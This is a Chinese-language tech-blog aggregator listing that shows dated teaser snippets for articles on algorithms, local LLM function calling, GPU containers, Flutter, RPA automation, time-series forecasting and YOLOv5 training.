简介:《Implementing Useful Algorithms in C》由Dmytro Kedyk撰写,面向具备一定C基础、希望深入掌握算法设计与工程实现的开发者与计算机专业学生。全书从算法正确性证明、渐进记法与机器模型等基本原则切入,系统讲解数据类型选择、内存管理…

2026/10/14 3:04:31 阅读更多 →
本地27B模型配Function Calling:工具不触发的原因与实战

本地27B模型配Function Calling:工具不触发的原因与实战

给本地跑的27B模型配了三个专业工具之后,我做的第一件事就是拿它试聊天。你猜怎么着——工具列表明明挂在接口定义里,模型却像一个看见工具箱、却只肯用手拧瓶盖的人,简单问题全凭语言能力直接答,一个工具都不碰。我一度觉得这套配…

2026/10/14 3:04:31 阅读更多 →
容器内nvidia-smi报Unknown Error的排查与根治

容器内nvidia-smi报Unknown Error的排查与根治

凌晨两点半,工作群里弹出一条消息:某个长期跑的容器,前一秒还好好的,后一秒容器里的nvidia-smi直接报Failed to initialize NVML: Unknown Error。宿主机上执行nvidia-smi一切正常,新建一个临时容器也能正常看到卡&…

2026/10/14 3:03:31 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/13 16:22:04 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →